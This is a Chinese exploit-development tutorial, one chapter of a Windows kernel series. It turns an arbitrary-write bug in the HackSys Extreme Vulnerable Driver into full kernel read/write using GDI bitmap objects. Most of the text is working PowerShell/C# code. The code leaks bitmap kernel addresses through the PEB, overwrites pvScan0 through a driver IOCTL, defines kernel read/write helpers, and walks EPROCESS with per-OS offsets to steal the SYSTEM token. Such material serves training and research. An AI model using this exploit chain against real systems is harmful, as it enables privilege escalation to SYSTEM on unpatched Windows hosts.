- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
Pwn
简单的工作完成了。我们现在想要的是将一个单一任意写漏洞转换成一个完全的 ring0 读写。在高级别下我们可以:
- 创建两个 bitmap 对象
- 泄露出各自的内核地址
- 使用任意写漏洞修改其中一个 bitmap 对象的 header 成员
- 使用 Gdi32 的 GetBitmapBits/SetBitmapBits API 调用来读写内核地址空间
本技术重要的部分在于,当创建一个 bitmap 时,我们可以泄露出其在内核中的地址。这一泄露在 Windows10 的 v1607 版本之后被打上了补丁,哭哭。
如其所呈现般,当创建一个 bitmap 时,一个结构被附加到了父进程 PEB 的 GdiSharedHandleTable 中。给定进程 PEB 的基地址,GdiSharedHandleTable 就在如下的偏移处(分别于 32/64 位)。
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
[FieldOffset(148)]
public IntPtr GdiSharedHandleTable32;
[FieldOffset(248)]
public IntPtr GdiSharedHandleTable64;
}
PEB 中的该条目是一个指向 GDICELL 结构体数组的指针,它定义了多种不同的 image 类型。该结构体的定义如下:
/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
public IntPtr pKernelAddress;
public UInt16 wProcessId;
public UInt16 wCount;
public UInt16 wUpper;
public UInt16 wType;
public IntPtr pUserAddress;
}
让我们用下面的 POC 来看看是否可以在 KD 中手动找到 _GDI_CELL
结构体。
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
}
"@
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$Bitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
"{0:X}" -f [int]$Bitmap
运行 POC,立即得到了一个 bitmap 句柄,可以看到它不是一个标准的句柄值(看起来太大了)。
实际上,bitmap 句柄的最后两个字节是该结构在 GdiSharedHandleTable 数组中的索引(=> handle & 0xffff
)。于是,让我们跳转到 KD 来看看是否可以找到我们新创建的 bitmap 的 _GDI_CELL
结构。
有了指向 GdiSharedHandleTable 数组的指针,我们所需要做的就是按结构体尺寸的倍数(64 位为 0x18)增加结构体的索引。
Process hacker 有一个非常有用的特性来列出 GDI 对象句柄。我们可以用它来证实在 KD 中找到的值。
很棒!我们需要通过重新来采集两个 bitmap 的信息(manager+worker)。如我们可以看到的,在 bitmap 句柄上仅仅是做一些简单的数学运算。唯一的问题在于我们要如何拿到进程 PEB 的基地址。幸运的是,未文档化的 NtQueryInformationProcess 函数可以解决这个问题。当使用 ProcessBasicInformation 类(0x0) 来调用该函数时,它会返回一个包含 PEB 基地址的结构体。在这里,我不会进一步描述更多的细节,毕竟这是个妇孺皆知的技巧。下面的 POC 会清理掉任何疑点!
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
[FieldOffset(148)]
public IntPtr GdiSharedHandleTable32;
[FieldOffset(248)]
public IntPtr GdiSharedHandleTable64;
}
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
public IntPtr pKernelAddress;
public UInt16 wProcessId;
public UInt16 wCount;
public UInt16 wUpper;
public UInt16 wType;
public IntPtr pUserAddress;
}
public static class EVD
{
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationProcess(
IntPtr processHandle,
int processInformationClass,
ref _PROCESS_BASIC_INFORMATION processInformation,
int processInformationLength,
ref int returnLength);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
}
"@
#==============================================[PEB]
# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
echo "`n[>] Target is 32-bit!"
$x32Architecture = 1
} else {
echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)
#==============================================[/PEB]
#==============================================[Bitmap]
echo "`n[>] Creating Bitmaps.."
# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
$HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
$ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
} else {
$HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
$ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
}
# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
$HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
$WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
} else {
$HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
$WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
}
#==============================================[/Bitmap]
注意到我们的脚本是架构独立的!其中的一个疑题解决掉了,但是我们为什么要关心这些 bitmap 对象呢?
泄露出来的 bitmap 内核地址在内核空间中指向了下面的 GDI baseobject 结构。
/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _BASEOBJECT
{
public IntPtr hHmgr;
public UInt32 ulShareCount;
public UInt16 cExclusiveLock;
public UInt16 BaseFlags;
public UIntPtr Tid;
}
我们对此并无多大兴趣,如果你想要了解更多关于 baseobject 的信息,请参考 ReactOS wiki here . 在这一头部之后,有一个特定的结构体,它的类型取决于该对象的类型。对于 bitmaps 来说,这是个 surface object 结构体。
/// 32bit size: 0x34
/// 64bit size: 0x50
[StructLayout(LayoutKind.Sequential)]
public struct _SURFOBJ
{
public IntPtr dhsurf;
public IntPtr hsurf;
public IntPtr dhpdev;
public IntPtr hdev;
public IntPtr sizlBitmap;
public UIntPtr cjBits;
public IntPtr pvBits;
public IntPtr pvScan0; /// offset => 32bit = 0x20 & 64bit = 0x38
public UInt32 lDelta;
public UInt32 iUniq;
public UInt32 iBitmapFormat;
public UInt16 iType;
public UInt16 fjBitmap;
}
pvScan0 成员就是我们想要的!这一成员是一个指针,指向 bitmap 的首个扫描行。从泄露出来的内核地址我们可以计算出该成员的偏移。
# 32 bit
[IntPtr]pvScan0_32 = $pKernelAddress + 0x30
# 64 bit
[IntPtr]pvScan0_64 = $pKernelAddress + 0x50
说了这么多,还是那个问题,为什么要关心这货?好吧,有这样两个 GDI32 API 调用, GetBitmapBits 和 SetBitmapBits ,它们直接操纵该成员。GetBitmaps 允许我们在 pvScan0 地址上读任意字节,SetBitmapBits 允许我们在 pvScan0 地址上写任意字节。闻到 pwn 的味道了吗?
我们可以简要的更新 POC 来包含 manager 和 worker bitmap 的 pvScan0 偏移。
# 32 bit
# IntPtr at $HandleTableEntry = pKernelAddress
$BitmapScan0_32 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
# 64 bit
# IntPtr at $HandleTableEntry = pKernelAddress
$BitmapScan0_64 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
从现在开始,在 ring0 层的工作就很可以很简单的展开了。最基本的,使用我们的任意写来设置 manager bitmap 的 pvScan0 地址去指向 worker bitmap 的 pvScan0 地址。整合所有的内容,我们写出下面的 POC。
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
[FieldOffset(148)]
public IntPtr GdiSharedHandleTable32;
[FieldOffset(248)]
public IntPtr GdiSharedHandleTable64;
}
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
public IntPtr pKernelAddress;
public UInt16 wProcessId;
public UInt16 wCount;
public UInt16 wUpper;
public UInt16 wType;
public IntPtr pUserAddress;
}
public static class EVD
{
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationProcess(
IntPtr processHandle,
int processInformationClass,
ref _PROCESS_BASIC_INFORMATION processInformation,
int processInformationLength,
ref int returnLength);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
}
"@
#==============================================[PEB]
# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
echo "`n[>] Target is 32-bit!"
$x32Architecture = 1
} else {
echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)
#==============================================[/PEB]
#==============================================[Bitmap]
echo "`n[>] Creating Bitmaps.."
# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
$HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
$ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
$ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
echo "[+] Manager pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
$HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
$ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
$ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
echo "[+] Manager pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}
# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
$HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
$WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
$WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
echo "[+] Worker pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
$HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
$WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
$WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
echo "[+] Worker pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}
#==============================================[/Bitmap]
#==============================================[GDI ring0 primitive]
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WorkerpvScan0).Length)
[System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WorkerpvScan0), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WorkerpvScan0).Length)
if ($x32Architecture) {
[byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
} else {
[byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
}
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
#==============================================[/GDI ring0 primitive]
运行新的 POC,在 KD 中看一下 pvScan0。
如上图所见,我们正确修改了 manager 指针,本质上也就达成了可重用的内核任意读写。使用这些 bitmap 来读写数据的进程可以在下面看到。
# Arbitrary kernel read
(1) GDI32::SetBitmapBits(Address) -> Manager # This updates the workers pvScan0 pointer
(2) GDI32::GetBitmapBits(Byte Count) -> Worker # Reads X bytes from Address
# Arbitrary kernel write
(1) GDI32::SetBitmapBits(Address) -> Manager # This updates the workers pvScan0 pointer
(2) GDI32::SetBitmapBits(Value) -> Worker # Writes X bytes to Address
花些时间来消化一下,我承认这一开始有些令人困惑。为了方便,我创建了下面的助手函数来做透明化的 IntPtr 大小的读写。
# Arbitrary Kernel read
function Bitmap-Read {
param ($Address)
$CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
$CallResult = [EVD]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
if ($x32Architecture){
[System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
} else {
[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
}
$CallResult = [EVD]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
# Arbitrary Kernel write
function Bitmap-Write {
param ($Address, $Value)
$CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
$CallResult = [EVD]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
}
在内核中可以任意读写后,我们仍需要找出如何获取 SYSTEM。记住我们在 64 位 Windows 10 上,这里有着大量的增强版缓解措施诸如 SMEP(阻止我们在用户空间运行 shellcode)。既然我们已经可以自由的拷贝数据了,看起来在执行体进程块(EPROCESS)上可以做一个数据攻击。EPROCESS 结构体包含了进程 token,这个 token 描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限。当进程或线程尝试去与一个安全对象交互或尝试去执行一个需要特定权限的功能时,OS 通过查询这个 token 来鉴权。
既然进程的 token 仅仅是一个 EPROCESS 结构体中的 IntPtr 尺寸的值。如果我们可以找到 SYSTEM 进程,拷贝它的 token 并覆盖 PowerShell 进程的 token,那我们就提权到了 SYSTEM。
第一步就是拿到一个指向 SYSTEM EPROCESS 结构体的指针。实际上,为了避免蓝屏,我们仅可以安全的利用目标 PID 4。有一个非常方便的全局变量 PsInitialSystemProcess 指向了 system EPROCESS(->PID 4)。我们可以在 NT 内核中通过 NtQueryInformation API 拿到这一基地址。我写了个脚本 Get-LoadedModules ,用于完成这项任务。我们做下面的计算来获取这一全局变量。
echo "[>] Leaking SYSTEM _EPROCESS.."
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SystemEprocess = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [EVD]::FreeLibrary($KernelHanle)
echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SystemEprocess)"
该地址理应持有一个指向 system EPROCESS 结构的指针,让我们手动验证它。
如果我们把这一逻辑增添到 exp 中,我们就可以利用 Bitmap-Read 函数来拷贝 system token。还有另外一个需要关心的事,EPROCESS 结构体是未文档化的,它变化的相当频繁因此我们需要写一个 switch 语句来控制不同系统(32/64 位)上的不同偏移。我推荐你看一看 @rwfpl 最精彩的 Terminus 项目,它不止一次的帮助过我。switch 语句应该像下面这样,注意到它包含了到 ActiveProcessLinks 的偏移,我们即将用到。
# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
if(!$x32Architecture){
$UniqueProcessIdOffset = 0x2e8
$TokenOffset = 0x358
$ActiveProcessLinks = 0x2f0
} else {
$UniqueProcessIdOffset = 0xb4
$TokenOffset = 0xf4
$ActiveProcessLinks = 0xb8
}
}
'6.3' # Win8.1 / 2k12R2
{
if(!$x32Architecture){
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
} else {
$UniqueProcessIdOffset = 0xb4
$TokenOffset = 0xec
$ActiveProcessLinks = 0xb8
}
}
'6.2' # Win8 / 2k12
{
if(!$x32Architecture){
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
} else {
$UniqueProcessIdOffset = 0xb4
$TokenOffset = 0xec
$ActiveProcessLinks = 0xb8
}
}
'6.1' # Win7 / 2k8R2
{
if(!$x32Architecture){
$UniqueProcessIdOffset = 0x180
$TokenOffset = 0x208
$ActiveProcessLinks = 0x188
} else {
$UniqueProcessIdOffset = 0xb4
$TokenOffset = 0xf8
$ActiveProcessLinks = 0xb8
}
}
}
有了正确的偏移,就可以添加到 exp 上了。
# Get EPROCESS entry for System process
echo "`n[>] Leaking SYSTEM _EPROCESS.."
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [EVD]::FreeLibrary($KernelHanle)
echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
echo "[+] SYSTEM _EPORCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
注意到 token 减了 1,这是因为 token 成员是一个 _EX_FAST_REF
结构,它的最后一位用于引用计数,尽管我们无需担忧这一行为。一个完整的提权过程要先找到 PowerShell 的 EPROCESS 结构体,然后用泄露出来的 SYSTEM 的 token 来覆盖它。这就是 ActiveProcessLinks 成员的作用了。EPROCESS 结构组成了一个链表,它通过 ActiveProcessLinks 成员来链入,该成员内部包含了一个 _LIST_ENTRY([IntPtr]Flink, [IntPtr]Blink)
成员,存储了前后两个 EPROCESS 结构体的地址。我们所需要做的就是遍历该链表,直到我们找到 PowerShell 进程对应的 EPROCESS 结构,此后进行 token 覆盖。下面的代码展示了这一技巧。
# Get EPROCESS entry for current process
echo "`n[>] Leaking current _EPROCESS.."
echo "[+] Traversing ActiveProcessLinks list"
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
if ($NextPID -eq $PID) {
echo "[+] PowerShell _EPORCESS address: 0x$("{0:X}" -f $NextProcess)"
echo "[+] PID: $NextPID"
echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
$PoShTokenAddr = $NextProcess+$TokenOffset
break
}
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
# Duplicate token!
echo "`n[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论